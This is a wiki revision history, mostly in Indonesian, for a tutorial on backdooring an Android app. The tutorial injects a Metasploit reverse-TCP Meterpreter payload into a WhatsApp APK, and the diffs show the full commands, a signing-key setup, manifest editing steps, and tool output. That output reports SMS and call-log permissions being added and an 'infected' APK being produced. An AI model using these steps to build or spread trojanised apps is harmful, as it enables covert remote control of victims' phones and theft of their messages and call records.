MSF: Embed MSF exploit di ori apk - Revision history

Onnowpurbo at 06:26, 1 June 2017

2017-06-01T06:26:35Z

← Older revision		Revision as of 06:26, 1 June 2017
Line 1:		Line 1:
	sumber: https://techkernel.org/2015/12/11/embed-metasploit-payload-in-apk-easily/		sumber: https://techkernel.org/2015/12/11/embed-metasploit-payload-in-apk-easily/


			'''WARNING:''' Script apk-payload-injector tampaknya tidak bisa dipakai, lebih baik pakai msfvenom

Onnowpurbo: /* PRE-REQUISTICS */

2017-06-01T04:43:57Z

PRE-REQUISTICS

← Older revision		Revision as of 04:43, 1 June 2017
Line 14:		Line 14:

	apt-get install libstdc++6 libncurses5 libz1		apt-get install libstdc++6 libncurses5 libz1

			* Siapkan debugkey

			mkdir -p ~/.android
			keytool -genkey -v -keystore ~/.android/debug.keystore -alias androiddebugkey -storepass android -keypass android -keyalg RSA -keysize 2048 -validity 10000 -dname "CN=Android Debug,O=Android,C=US"

	==STEP 1:==		==STEP 1:==

Onnowpurbo: /* PRE-REQUISTICS */

2017-06-01T04:01:26Z

PRE-REQUISTICS

← Older revision		Revision as of 04:01, 1 June 2017
Line 13:		Line 13:
	apt-get update		apt-get update

	apt-get install ~~lib32stdc~~++6 ~~lib32ncurses5 lib32z1~~		apt-get install libstdc++6 libncurses5 libz1

	==STEP 1:==		==STEP 1:==

Onnowpurbo: /* PRE-REQUISTICS */

2017-06-01T03:59:10Z

PRE-REQUISTICS

← Older revision		Revision as of 03:59, 1 June 2017
Line 9:		Line 9:
	* tool yang digunakan apktool		* tool yang digunakan apktool
	* Install		* Install

			echo "deb http://http.kali.org/kali kali-rolling main contrib non-free" >> /etc/apt/sources.list
			apt-get update

	apt-get install lib32stdc++6 lib32ncurses5 lib32z1		apt-get install lib32stdc++6 lib32ncurses5 lib32z1

Onnowpurbo: /* PRE-REQUISTICS */

2017-06-01T03:53:54Z

PRE-REQUISTICS

← Older revision		Revision as of 03:53, 1 June 2017
Line 8:		Line 8:
	* Siapkan laptop / VM dengan kali linux.		* Siapkan laptop / VM dengan kali linux.
	* tool yang digunakan apktool		* tool yang digunakan apktool
			* Install

	apt-get install lib32stdc++6 lib32ncurses5 lib32z1		apt-get install lib32stdc++6 lib32ncurses5 lib32z1

Onnowpurbo: /* PRE-REQUISTICS */

2017-06-01T03:53:40Z

PRE-REQUISTICS

← Older revision		Revision as of 03:53, 1 June 2017
Line 8:		Line 8:
	* Siapkan laptop / VM dengan kali linux.		* Siapkan laptop / VM dengan kali linux.
	* tool yang digunakan apktool		* tool yang digunakan apktool

			apt-get install lib32stdc++6 lib32ncurses5 lib32z1

	==STEP 1:==		==STEP 1:==

Onnowpurbo: /* STEP 3: */

2017-06-01T03:34:03Z

STEP 3:

← Older revision		Revision as of 03:34, 1 June 2017
Line 75:		Line 75:
	[+] Infected file com_backdoored.apk ready.		[+] Infected file com_backdoored.apk ready.

			Nama file

	In this example I’ve used 192.168.0.104 as the Local IP address, i.e. your IP address and 4895 as the port on your Computer through which the Meterpreter payload will connect back to you. Make sure to change it to the appropriate values, especially the IP, the LPORT can be set to any reasonable port no.		com_backdoored.apk

	~~NOTE – If you are going to conduct this attack over the internet~~, ~~be sure to put your public IP, not your local IP, in the LHOST option. You also may need to forward the port you’re using for this attack to work properly~~.		Kalau anda kurang beruntung, kemungkinan payload-injector tidak bisa menemukan Activity yang harus dia bind. Untuk itu kita perlu membuka folder

	Once you run the command, if you are lucky, the script will do everything by itself and complete the whole process. But more than often it cannot determine to which Activity of the app it should bind the payload to, so it asks you to select it. In that case, leave the terminal open with the script at the prompt, and browse to /root/original.		original

	~~Then open the AndroidManifest.xml file using any text editor you like and look for an <activity> tag which contains both the texts ‘.MAIN’ and ‘.LAUNCHER’. When you find that tag~~, ~~look for the ‘android:name’ attribute of that tag and from there, note the name of that Activity.~~		Lakukan,

	~~At the prompt of the Ruby script, enter the number corresponding to the Activity name you had noted previously and press Enter~~.		* Buka / edit AndroidManifest.xml
			* Cari <activity> tag yang berisi text ‘.MAIN’ dan ‘.LAUNCHER’.
	~~This is the hardest step of all~~, ~~so I’m posting some screenshots to make your life easier~~.		* Cari attribute ‘android:name’ dari sit, catat nama dari Activity.
			* Ulangi lagi proses-nya, jika ruby script menanyakan Activitynya, masukan nomor yang terkait dengan Activity name yang anda catat sebelumnya dan press ENTER.
	~~Screenshot from 2015~~-~~12-12 01-44-01Screenshot from 2015-12-12 01-43-27~~

	==PROFIT?!:==		==PROFIT?!:==

Onnowpurbo: /* STEP 3: */

2017-06-01T03:28:27Z

STEP 3:

← Older revision		Revision as of 03:28, 1 June 2017
Line 54:		Line 54:
	cd apk-payload-injector-master/		cd apk-payload-injector-master/
	ruby apk-embed-payload.rb com.whatsapp_v2.17.200-451830_Android-4.0.apk -p android/meterpreter/reverse_tcp LHOST=192.168.0.104 LPORT=4895		ruby apk-embed-payload.rb com.whatsapp_v2.17.200-451830_Android-4.0.apk -p android/meterpreter/reverse_tcp LHOST=192.168.0.104 LPORT=4895


			Akan keluar kira-kira,

			[*] Generating msfvenom payload..
			[*] Signing payload..
			[*] Decompiling orignal APK..
			[*] Decompiling payload APK..
			[*] Locating onCreate() hook..
			[*] Copying payload files..
			[*] Loading original/smali/com/whatsapp/Main.smali and injecting payload..
			[*] Poisoning the manifest with meterpreter permissions..
			[*] Adding android.permission.CALL_PHONE
			[*] Adding android.permission.READ_SMS
			[*] Adding android.permission.SET_WALLPAPER
			[*] Adding android.permission.READ_CALL_LOG
			[*] Adding android.permission.WRITE_CALL_LOG
			[*] Rebuilding com.whatsapp_v2.17.200-451830_Android-4.0.apk with meterpreter injection as com_backdoored.apk..
			[*] Signing com_backdoored.apk ..
			[+] Infected file com_backdoored.apk ready.

Onnowpurbo: /* STEP 3: */

2017-06-01T03:27:16Z

STEP 3:

← Older revision		Revision as of 03:27, 1 June 2017
Line 43:		Line 43:
	==STEP 3:==		==STEP 3:==

	Di CLI Kali Linux		Di CLI Kali Linux, cek IP kali linux (Misalnya 192.168.0.104)

			ifconfig -a

			Di CLI Kali Linux, emmbed meterpreter ke apk

			cd apk-payload-injector-master/
	ruby apk-embed-payload.rb WhatsApp.apk -p android/meterpreter/reverse_tcp LHOST=192.168.0.104 LPORT=4895		ruby apk-embed-payload.rb WhatsApp.apk -p android/meterpreter/reverse_tcp LHOST=192.168.0.104 LPORT=4895

			cd apk-payload-injector-master/
			ruby apk-embed-payload.rb com.whatsapp_v2.17.200-451830_Android-4.0.apk -p android/meterpreter/reverse_tcp LHOST=192.168.0.104 LPORT=4895


	In this example I’ve used 192.168.0.104 as the Local IP address, i.e. your IP address and 4895 as the port on your Computer through which the Meterpreter payload will connect back to you. Make sure to change it to the appropriate values, especially the IP, the LPORT can be set to any reasonable port no.		In this example I’ve used 192.168.0.104 as the Local IP address, i.e. your IP address and 4895 as the port on your Computer through which the Meterpreter payload will connect back to you. Make sure to change it to the appropriate values, especially the IP, the LPORT can be set to any reasonable port no.

Onnowpurbo: /* STEP 3: */

2017-06-01T03:23:28Z

STEP 3:

← Older revision		Revision as of 03:23, 1 June 2017
Line 43:		Line 43:
	==STEP 3:==		==STEP 3:==

	~~Open a terminal, and type the following command:~~		Di CLI Kali Linux


	ruby apk-embed-payload.rb WhatsApp.apk -p android/meterpreter/reverse_tcp LHOST=192.168.0.104 LPORT=4895		ruby apk-embed-payload.rb WhatsApp.apk -p android/meterpreter/reverse_tcp LHOST=192.168.0.104 LPORT=4895